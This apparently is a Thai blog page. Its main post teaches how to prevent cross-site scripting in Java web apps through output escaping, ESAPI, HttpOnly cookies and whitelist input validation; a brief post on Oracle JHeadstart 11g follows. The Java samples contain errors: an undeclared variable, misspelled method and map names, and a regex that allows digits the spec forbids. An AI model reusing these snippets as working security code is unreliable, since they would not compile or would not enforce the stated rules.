    • เช่น <div attr=... ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE ...></div>
  • html javascript data value
    • เช่น <script> alert(' ... ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE ... ') </script>
  • html style property value
    • เช่น <style> selector{ property: ... ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE ...} </style>
  • html url parameter value
    • เช่น <a href="http://www.xxx.com?test=... ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE ..."></a>
ตัวอย่าง escape function
<html>
<body>
<%
  String username = request.getParameter("name");
  out.write("Hello, " + htmlEntityEncode(username));
%>
</body>
</html>
Guideline function input escape
public static String htmlEntityEncode( String s ){
       StringBuilder buf = new StringBuilder(s.length());
       for ( int i = 0; i < len; i++ ){
           char c = s.charAt( i );
           if ( c>='a' && c<='z' || c>='A' && c<='Z' || c>='0' && c<='9' ) {
               buf.append( c );
           }
           else {
               buf.append("&#").append((int)c).append(";");
           }
       }
       return buf.toString();
}
ลองดูแบบอื่นๆ ได้ที่ http://www.owasp.org/index.php/How_to_perform_HTML_entity_encoding_in_Java
หรือตัวอย่างการสร้าง HttpServletRequestWrapper ขึ้นมาเอง  http://www.owasp.org/index.php/How_to_add_validation_logic_to_HttpServletRequest
API อื่นๆ
ตัวอย่างการใช้งาน ESAPI
String safe = ESAPI.encoder().encodeForHTML(request.getParameter("input"));
นอกจากนี้ยังมีอีกวิธีที่ช่วยลดจุดอ่อนลงได้คือการใช้ HTTPOnly cookie flag http://phamonyut.blogspot.com/2010/05/cookie-httponly-flag.html

Input Validation strategy
เป็นการ filter ข้อมูลที่รับเข้ามาจากผู้ใช้งาน ซึ่งการร้บข้อมูลแต่ละจุดจะมีการกำหนดว่ากรอกได้ตาม format อะไรบ้างตาม white-list ที่ออกแบบไว้ และก็มี blacklist ที่บอกว่าข้อมูลแบบไหนที่ไม่ควรนำเข้าระบบ แต่มันก็ไม่ได้ออกแบบไว้ให้เราทั้งหมด ดังนั้นจำเป็นต้องออกแบบเพิ่มเติมกันเองด้วย
กลุ่มข้อมูล input ที่จะเกี่ยวข้องกับ business logic
Field NameData TypeLengthSpecific Requirement
firstnameString1-20a-z, A-Z
lastnameString1-40a-z, A-Z
emailString8-50a-z, A-Z, 0-9, ., @
usernameString6-10a-z, A-Z, 0-9
passwordString8-30a-z, A-Z, 0-9, !, @, #, $
zipInteger50-9
notifyString2-3'Yes', 'No'
guideline function validate firstname ที่ใช้ regex
public boolean validateFirstname() {
boolean allOk = true;
if ("".equals(firstname)) {
  error.put("firstname", "please enter your firstname");
  firstname = "";
  allOk = false;
} else {
  Pattern p = Pattern.compile("^[\da-zA-Z]{1,20}$");
  Matcher m = p.matcher(firstname);
  if (!m.matchers()) {
    errros.put("firstname", "firstname must contains character A-Z, a-z and has length between 1 to 20 only");
    firstname = "";
    allOk = false;
  }
}
return allOk;
}

Credit by Phamonyut
ข้อเขียนนี้ช่วยฉัน:  

Saturday, May 1, 2010

JHeadstart 11g Evaluation Version มาแล้ว

Oracle JHeadstart 11g

Oracle JHeadstart 11g ออกมาให้ได้ใช้เมื่อสองเดือนก่อน แต่วันนี้ตัวเต็มได้ออกมาให้เราใช้กันแล้ว สามารถติดตั้งผ่าน JDeveloper ได้เลยโดยให้ไปที่ Check for Updates แล้วเลือก Open Source and Partners Extensions Update Center

JHeadstart ตัวนี้จะมี JHeadstart Forms2ADF Generator เข้ามาด้วย ทำให้เราสามารถแปลง จาก Oracle Forms applications ไปเป็น ADF applications ได้โดยตรงครับ

Credit by Krit

อ้างอิง
ข้อเขียนนี้ช่วยฉัน: